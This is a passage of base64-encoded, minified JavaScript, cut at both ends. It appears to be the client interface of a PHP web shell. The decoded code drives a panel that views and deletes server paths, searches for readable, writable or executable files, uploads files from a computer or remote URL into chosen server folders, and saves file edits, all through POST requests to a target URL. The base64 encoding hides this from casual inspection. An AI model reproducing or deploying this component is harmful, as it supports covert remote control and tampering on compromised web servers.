dyhuZXdGaWxlLCdlZGl0Jyk7JCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBzdWNjZWVkZWQnKX1lbHNlICQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgZmFpbGVkJyl9KX1mdW5jdGlvbiB2aWV3ZmlsZW9yZm9sZGVyKCl7dGl0bGU9IlZpZXcgRmlsZSAvIEZvbGRlciI7Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd2aWV3RmlsZW9yRm9sZGVyJyB2YWx1ZT0nIitodG1sX3NhZmUoZ2V0X2N3ZCgpKSsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAndmlld2ZpbGVvcmZvbGRlcl9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J3ZpZXdmaWxlb3Jmb2xkZXJfZ28oKTsnPnZpZXc8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh0aXRsZSxjb250ZW50KX1mdW5jdGlvbiB2aWV3ZmlsZW9yZm9sZGVyX2dvKCl7ZW50cnk9JCgnLnZpZXdGaWxlb3JGb2xkZXInKS52YWwoKTtzZW5kX3Bvc3Qoe3ZpZXdGaWxlb3JGb2xkZXI6ZW50cnl9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXtpZihyZXM9PSdmaWxlJyl7dmlldyhlbnRyeSwnYXV0bycpO3Nob3dfdGFiKCdleHBsb3JlcicpfWVsc2UgaWYocmVzPT0nZm9sZGVyJyl7bmF2aWdhdGUoZW50cnkpO3Nob3dfdGFiKCdleHBsb3JlcicpfX19KX1mdW5jdGlvbiBkZWwocGF0aCl7dGl0bGU9IkRlbGV0ZSI7Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+RGVsZXRlPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdkZWxldGUnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RlbGV0ZV9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J2RlbGV0ZV9nbygpOyc+ZGVsZXRlPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7c2hvd19ib3godGl0bGUsY29udGVudCl9ZnVuY3Rpb24gZGVsZXRlX2dvKCl7cGF0aD0kKCcuZGVsZXRlJykudmFsKCk7c2VuZF9wb3N0KHtkZWxldGU6cGF0aH0sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSdlcnJvcicpe25hdmlnYXRlKHJlcyk7JCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBzdWNjZWVkZWQnKX1lbHNlICQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgZmFpbGVkJyl9KX1mdW5jdGlvbiBmaW5kKHBhdGgpe2ZpbmRmaWxlPSI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRoZWFkPjx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5GaW5kIEZpbGU8L3A+PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5Pjx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5TZWFyY2ggaW48L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2ZpbmRmaWxlUGF0aCcgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZmluZF9nb19maWxlJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPkZpbGVuYW1lIGNvbnRhaW5zPC90ZD48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZGZpbGVGaWxlbmFtZScgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZmlsZScpO1wiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlRmlsZW5hbWVSZWdleCc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlZ2V4PC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlRmlsZW5hbWVJbnNlbnNpdGl2ZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPkNhc2UgSW5zZW5zaXRpdmU8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPkZpbGUgY29udGFpbnM8L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLWJvdHRvbTpub25lOyc+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kZmlsZUNvbnRhaW5zJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZmluZF9nb19maWxlJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVDb250YWluc1JlZ2V4Jz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVnZXg8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVDb250YWluc0luc2Vuc2l0aXZlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+Q2FzZSBJbnNlbnNpdGl2ZTwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZD5QZXJtaXNzaW9uczwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlUmVhZGFibGUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5SZWFkYWJsZTwvc3Bhbj4mbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZVdyaXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+V3JpdGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVFeGVjdXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+RXhlY3V0YWJsZTwvc3Bhbj48L3RkPjwvdHI+PC90Ym9keT48dGZvb3Q+PHRyPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uIG5hdmJhcicgZGF0YS1wYXRoPSciK3BhdGgrIic+ZXhwbG9yZXI8L3NwYW4+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImZpbmRfZ29fZmlsZSgpO1wiPmZpbmQ8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J2ZpbmRmaWxlUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7ZmluZGZvbGRlcj0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0aGVhZD48dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+RmluZCBGb2xkZXI8L3A+PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5Pjx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5TZWFyY2ggaW48L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2ZpbmRGb2xkZXJQYXRoJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdmaW5kX2dvX2ZvbGRlcicpO1wiPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz5Gb2xkZXJuYW1lIGNvbnRhaW5zPC90ZD48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZEZvbGRlcm5hbWUnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdmaW5kX2dvX2ZvbGRlcicpO1wiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRGb2xkZXJuYW1lUmVnZXgnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5SZWdleDwvc3Bhbj4mbmJzcDsmbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kRm9sZGVybmFtZUluc2Vuc2l0aXZlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+Q2FzZSBJbnNlbnNpdGl2ZTwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZD5QZXJtaXNzaW9uczwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRSZWFkYWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlYWRhYmxlPC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRXcml0YWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPldyaXRhYmxlPC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRFeGVjdXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+RXhlY3V0YWJsZTwvc3Bhbj48L3RkPjwvdHI+PC90Ym9keT48dGZvb3Q+PHRyPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uIG5hdmJhcicgZGF0YS1wYXRoPSciK3BhdGgrIic+ZXhwbG9yZXI8L3NwYW4+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImZpbmRfZ29fZm9sZGVyKCk7XCI+ZmluZDwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJyBjbGFzcz0nZmluZFJlc3VsdCc+PC90ZD48L3RyPjwvdGZvb3Q+PC90YWJsZT4iOyQoJyNleHBsb3JlcicpLmh0bWwoIjxkaXYgaWQ9J3hwbFVwbG9hZCc+IitmaW5kZmlsZSsnPGJyPicrZmluZGZvbGRlcisnPC9kaXY+Jyk7Y2JveF9iaW5kKCd4cGxVcGxvYWQnKX1mdW5jdGlvbiBmaW5kX2dvX2ZpbGUoKXtmaW5kX2dvKCdmaWxlJyl9ZnVuY3Rpb24gZmluZF9nb19mb2xkZXIoKXtmaW5kX2dvKCdmb2xkZXInKX1mdW5jdGlvbiBmaW5kX2dvKGZpbmRUeXBlKXtmaW5kUGF0aD0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlUGF0aCcpLnZhbCgpOiQoJy5maW5kRm9sZGVyUGF0aCcpLnZhbCgpO2ZpbmRSZXN1bHQ9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZVJlc3VsdCcpOiQoJy5maW5kUmVzdWx0Jyk7ZmluZE5hbWU9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZUZpbGVuYW1lJykudmFsKCk6JCgnLmZpbmRGb2xkZXJuYW1lJykudmFsKCk7ZmluZE5hbWVSZWdleD0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlRmlsZW5hbWVSZWdleCcpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiQoJy5maW5kRm9sZGVybmFtZVJlZ2V4JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7ZmluZE5hbWVJbnNlbnNpdGl2ZT0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlRmlsZW5hbWVJbnNlbnNpdGl2ZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiQoJy5maW5kRm9sZGVybmFtZUluc2Vuc2l0aXZlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7ZmluZENvbnRlbnQ9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZUNvbnRhaW5zJykudmFsKCk6IiI7ZmluZENvbnRlbnRSZWdleD0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlQ29udGFpbnNSZWdleCcpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiIiO2ZpbmRDb250ZW50SW5zZW5zaXRpdmU9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZUNvbnRhaW5zSW5zZW5zaXRpdmUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKToiIjtmaW5kUmVhZGFibGU9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZVJlYWRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6JCgnLmZpbmRXcml0YWJsZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpO2ZpbmRXcml0YWJsZT0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlV3JpdGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZFJlYWRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7ZmluZEV4ZWN1dGFibGU9KGZpbmRUeXBlPT0nZmlsZScpPyQoJy5maW5kZmlsZUV4ZWN1dGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZEV4ZWN1dGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTtzZW5kX3Bvc3Qoe2ZpbmRUeXBlOmZpbmRUeXBlLGZpbmRQYXRoOmZpbmRQYXRoLGZpbmROYW1lOmZpbmROYW1lLGZpbmROYW1lUmVnZXg6ZmluZE5hbWVSZWdleCxmaW5kTmFtZUluc2Vuc2l0aXZlOmZpbmROYW1lSW5zZW5zaXRpdmUsZmluZENvbnRlbnQ6ZmluZENvbnRlbnQsZmluZENvbnRlbnRSZWdleDpmaW5kQ29udGVudFJlZ2V4LGZpbmRDb250ZW50SW5zZW5zaXRpdmU6ZmluZENvbnRlbnRJbnNlbnNpdGl2ZSxmaW5kUmVhZGFibGU6ZmluZFJlYWRhYmxlLGZpbmRXcml0YWJsZTpmaW5kV3JpdGFibGUsZmluZEV4ZWN1dGFibGU6ZmluZEV4ZWN1dGFibGV9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXtmaW5kUmVzdWx0Lmh0bWwocmVzKX19KX1mdW5jdGlvbiB1bF9nb19jb21wKCl7dWxfZ28oJ2NvbXAnKX1mdW5jdGlvbiB1bF9nb191cmwoKXt1bF9nbygndXJsJyl9ZnVuY3Rpb24gdWwocGF0aCl7dWxjb21wdXRlcj0iPHRhYmxlIGNsYXNzPSdib3h0YmwgdWxjb21wJz48dGhlYWQ+PHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPlVwbG9hZCBGcm9tIENvbXB1dGVyIDxhIG9uY2xpY2s9J3VsX2FkZF9jb21wKCk7Jz4oKyk8L2E+PC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keSBjbGFzcz0ndWxjb21wYWRkJz48L3Rib2R5Pjx0Zm9vdD48dHI+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24gbmF2YmFyJyBkYXRhLXBhdGg9JyIrcGF0aCsiJz5leHBsb3Jlcjwvc3Bhbj48L3RkPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwidWxfZ29fY29tcCgpO1wiPnVwbG9hZDwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJyBjbGFzcz0ndWxDb21wUmVzdWx0Jz48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48ZGl2IGlkPSd1bERyYWdORHJvcCc+T3IgRHJhZyBhbmQgRHJvcCBmaWxlcyBoZXJlPC9kaXY+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J3VsRHJhZ05Ecm9wUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7dWx1cmw9Ijx0YWJsZSBjbGFzcz0nYm94dGJsIHVsdXJsJz48dGhlYWQ+PHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPlVwbG9hZCBGcm9tIFVybCA8YSBvbmNsaWNrPSd1bF9hZGRfdXJsKCk7Jz4oKyk8L2E+PC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keSBjbGFzcz0ndWx1cmxhZGQnPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJ1bF9nb191cmwoKTtcIj51cGxvYWQ8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J3VsVXJsUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7Y29udGVudD11bGNvbXB1dGVyKyc8YnI+Jyt1bHVybCsiPGlucHV0IHR5cGU9J2hpZGRlbicgY2xhc3M9J3VsX3BhdGgnIHZhbHVlPSciK3BhdGgrIic+IjskKCcjZXhwbG9yZXInKS5odG1sKGNvbnRlbnQpO3VsX2FkZF9jb21wKCk7dWxfYWRkX3VybCgpOyQoJyN1bERyYWdORHJvcCcpLm9uKCdkcmFnZW50ZXInLGZ1bmN0aW9uKGUpe2Uuc3RvcFByb3BhZ2F0aW9uKCk7ZS5wcmV2ZW50RGVmYXVsdCgpfSk7JCgnI3VsRHJhZ05Ecm9wJykub24oJ2RyYWdvdmVyJyxmdW5jdGlvbihlKXtlLnN0b3BQcm9wYWdhdGlvbigpO2UucHJldmVudERlZmF1bHQoKX0pOyQoJyN1bERyYWdORHJvcCcpLm9uKCdkcm9wJyxmdW5jdGlvbihlKXtlLnN0b3BQcm9wYWdhdGlvbigpO2UucHJldmVudERlZmF1bHQoKTtmaWxlcz1lLnRhcmdldC5maWxlc3x8ZS5kYXRhVHJhbnNmZXIuZmlsZXM7dWxSZXN1bHQ9JCgnLnVsRHJhZ05Ecm9wUmVzdWx0Jyk7dWxSZXN1bHQuaHRtbCgnJyk7JC5lYWNoKGZpbGVzLGZ1bmN0aW9uKGkpe2lmKHRoaXMpe3VsVHlwZT0nRHJhZ05Ecm9wJztmaWxlbmFtZT10aGlzLm5hbWU7dmFyIGZvcm1EYXRhPW5ldyBGb3JtRGF0YSgpO2Zvcm1EYXRhLmFwcGVuZCgndWxGaWxlJyx0aGlzKTtmb3JtRGF0YS5hcHBlbmQoJ3VsU2F2ZVRvJyxnZXRfY3dkKCkpO2Zvcm1EYXRhLmFwcGVuZCgndWxGaWxlbmFtZScsZmlsZW5hbWUpO2Zvcm1EYXRhLmFwcGVuZCgndWxUeXBlJywnY29tcCcpO2VudHJ5PSI8cCBjbGFzcz0ndWxSZXMiK3VsVHlwZStpKyInPjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgb25jbGljaz0ndmlld19lbnRyeSh0aGlzKTsnIGNsYXNzPSd1bEZpbGVuYW1lIit1bFR5cGUraSsiJz4iK2ZpbGVuYW1lKyI8L2E+Jm5ic3A7PHNwYW4gY2xhc3M9J3VsUHJvZ3Jlc3MiK3VsVHlwZStpKyInPjwvc3Bhbj48L3A+Ijt1bFJlc3VsdC5hcHBlbmQoZW50cnkpO2lmKHRoaXMuc2l6ZTw9MCl7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoIGZhaWxlZCApJyk7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOyQoJy51bEZpbGVuYW1lJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsRmlsZW5hbWUnK3VsVHlwZStpKX1lbHNle3VsX3N0YXJ0KGZvcm1EYXRhLHVsVHlwZSxpKX19fSl9KX1mdW5jdGlvbiB1bF9hZGRfY29tcChwYXRoKXtwYXRoPWh0bWxfc2FmZSgkKCcudWxfcGF0aCcpLnZhbCgpKTskKCcudWxjb21wYWRkJykuYXBwZW5kKCI8dHI+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCc+RmlsZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdmaWxlJyBjbGFzcz0ndWxGaWxlQ29tcCc+PC90ZD48L3RyPjx0cj48dGQ+U2F2ZSB0bzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxTYXZlVG9Db21wJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb19jb21wJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+RmlsZW5hbWUgKE9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxGaWxlbmFtZUNvbXAnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb19jb21wJyk7XCI+PC90ZD48L3RyPiIpfWZ1bmN0aW9uIHVsX2FkZF91cmwocGF0aCl7cGF0aD1odG1sX3NhZmUoJCgnLnVsX3BhdGgnKS52YWwoKSk7JCgnLnVsdXJsYWRkJykuYXBwZW5kKCI8dHI+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCc+RmlsZSBVUkw8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J3VsRmlsZVVybCcgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3VsX2dvX3VybCcpO1wiPjwvdGQ+PC90cj48dHI+PHRkPlNhdmUgdG88L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J3VsU2F2ZVRvVXJsJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb191cmwnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD5GaWxlbmFtZSAoT3B0aW9uYWwpPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bEZpbGVuYW1lVXJsJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAndWxfZ29fdXJsJyk7XCI+PC90ZD48L3RyPiIpfWZ1bmN0aW9uIHVsX3N0YXJ0KGZvcm1EYXRhLHVsVHlwZSxpKXtsb2FkaW5nX3N0YXJ0KCk7JC5hamF4KHt1cmw6dGFyZ2V0dXJsLHR5cGU6J1BPU1QnLGRhdGE6Zm9ybURhdGEsY2FjaGU6ZmFsc2UsY29udGVudFR5cGU6ZmFsc2UscHJvY2Vzc0RhdGE6ZmFsc2UseGhyOmZ1bmN0aW9uKCl7bXlYaHI9JC5hamF4U2V0dGluZ3MueGhyKCk7aWYobXlYaHIudXBsb2FkKXtteVhoci51cGxvYWQuYWRkRXZlbnRMaXN0ZW5lcigncHJvZ3Jlc3MnLGZ1bmN0aW9uKGUpe3BlcmNlbnQ9TWF0aC5mbG9vcihlLmxvYWRlZC9lLnRvdGFsKjEwMCk7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoICcrcGVyY2VudCsnJSApJyl9LGZhbHNlKX1yZXR1cm4gbXlYaHJ9LHN1Y2Nlc3M6ZnVuY3Rpb24ocmVzKXtpZihyZXMubWF0Y2goL1dhcm5pbmcuKlBPU1QuKkNvbnRlbnQtTGVuZ3RoLipvZi4qYnl0ZXMuKmV4Y2VlZHMuKnRoZS4qbGltaXQuKm9mLykpe3Jlcz0nZXJyb3InfWlmKHJlcz09J2Vycm9yJyl7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoIGZhaWxlZCApJyl9ZWxzZXskKCcudWxSZXMnK3VsVHlwZStpKS5odG1sKHJlcyl9bG9hZGluZ19zdG9wKCl9LGVycm9yOmZ1bmN0aW9uKCl7bG9hZGluZ19zdG9wKCk7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoIGZhaWxlZCApJyk7JCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOyQoJy51bEZpbGVuYW1lJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsRmlsZW5hbWUnK3VsVHlwZStpKX19KX1mdW5jdGlvbiB1bF9nbyh1bFR5cGUpe3VsRmlsZT0odWxUeXBlPT0nY29tcCcpPyQoJy51bEZpbGVDb21wJyk6JCgnLnVsRmlsZVVybCcpO3VsUmVzdWx0PSh1bFR5cGU9PSdjb21wJyk/JCgnLnVsQ29tcFJlc3VsdCcpOiQoJy51bFVybFJlc3VsdCcpO3VsUmVzdWx0Lmh0bWwoJycpO3VsRmlsZS5lYWNoKGZ1bmN0aW9uKGkpe2lmKCgodWxUeXBlPT0nY29tcCcpJiZ0aGlzLmZpbGVzWzBdKXx8KCh1bFR5cGU9PSd1cmwnKSYmKHRoaXMudmFsdWUhPScnKSkpe2ZpbGU9KHVsVHlwZT09J2NvbXAnKT90aGlzLmZpbGVzWzBdOnRoaXMudmFsdWU7ZmlsZW5hbWU9KHVsVHlwZT09J2NvbXAnKT9maWxlLm5hbWU6ZmlsZS5zdWJzdHJpbmcoZmlsZS5sYXN0SW5kZXhPZignLycpKzEpO3VsU2F2ZVRvPSh1bFR5cGU9PSdjb21wJyk/JCgnLnVsU2F2ZVRvQ29tcCcpW2ldLnZhbHVlOiQoJy51bFNhdmVUb1VybCcpW2ldLnZhbHVlO3VsRmlsZW5hbWU9KHVsVHlwZT09J2NvbXAnKT8kKCcudWxGaWxlbmFtZUNvbXAnKVtpXS52YWx1ZTokKCcudWxGaWxlbmFtZVVybCcpW2ldLnZhbHVlO3ZhciBmb3JtRGF0YT1uZXcgRm9ybURhdGEoKTtmb3JtRGF0YS5hcHBlbmQoJ3VsRmlsZScsZmlsZSk7Zm9ybURhdGEuYXBwZW5kKCd1bFNhdmVUbycsdWxTYXZlVG8pO2Zvcm1EYXRhLmFwcGVuZCgndWxGaWxlbmFtZScsdWxGaWxlbmFtZSk7Zm9ybURhdGEuYXBwZW5kKCd1bFR5cGUnLHVsVHlwZSk7ZW50cnk9IjxwIGNsYXNzPSd1bFJlcyIrdWxUeXBlK2krIic+PHNwYW4gY2xhc3M9J3N0cm9uZyc+Jmd0Ozwvc3Bhbj4mbmJzcDs8YSBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOycgY2xhc3M9J3VsRmlsZW5hbWUiK3VsVHlwZStpKyInPiIrZmlsZW5hbWUrIjwvYT4mbmJzcDs8c3BhbiBjbGFzcz0ndWxQcm9ncmVzcyIrdWxUeXBlK2krIic+PC9zcGFuPjwvcD4iO3VsUmVzdWx0LmFwcGVuZChlbnRyeSk7Y2hlY2s9dHJ1ZTtpZih1bFR5cGU9PSdjb21wJyl7Y2hlY2s9KGZpbGUuc2l6ZTw9MCl9ZWxzZSBjaGVjaz0oZmlsZT09IiIpO2lmKGNoZWNrKXskKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKTskKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLnJlbW92ZUNsYXNzKCd1bFByb2dyZXNzJyt1bFR5cGUraSk7JCgnLnVsRmlsZW5hbWUnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxGaWxlbmFtZScrdWxUeXBlK2kpfWVsc2V7dWxfc3RhcnQoZm9ybURhdGEsdWxUeXBlLGkpfX19KX1mdW5jdGlvbiB0cmFwX2N0cmxfZW50ZXIoZWwsZSxjYWxsYmFjayl7aWYoZS5jdHJsS2V5JiYoZS5rZXlDb2RlPT0xMHx8ZS5rZXlDb2RlPT0xMykpe2lmKGNhbGxiYWNrIT1udWxsKXdpbmRvd1tjYWxsYmFja10oKX1maXhfdGFiY2hhcihlbCxlKX1mdW5jdGlvbiBlZGl0X3NhdmVfcmF3KCl7ZWRpdF9zYXZlKCdlZGl0Jyl9ZnVuY3Rpb24gZWRpdF9zYXZlX2hleCgpe2VkaXRfc2F2ZSgnaGV4Jyl9ZnVuY3Rpb24gZWRpdF9zYXZlKGVkaXRU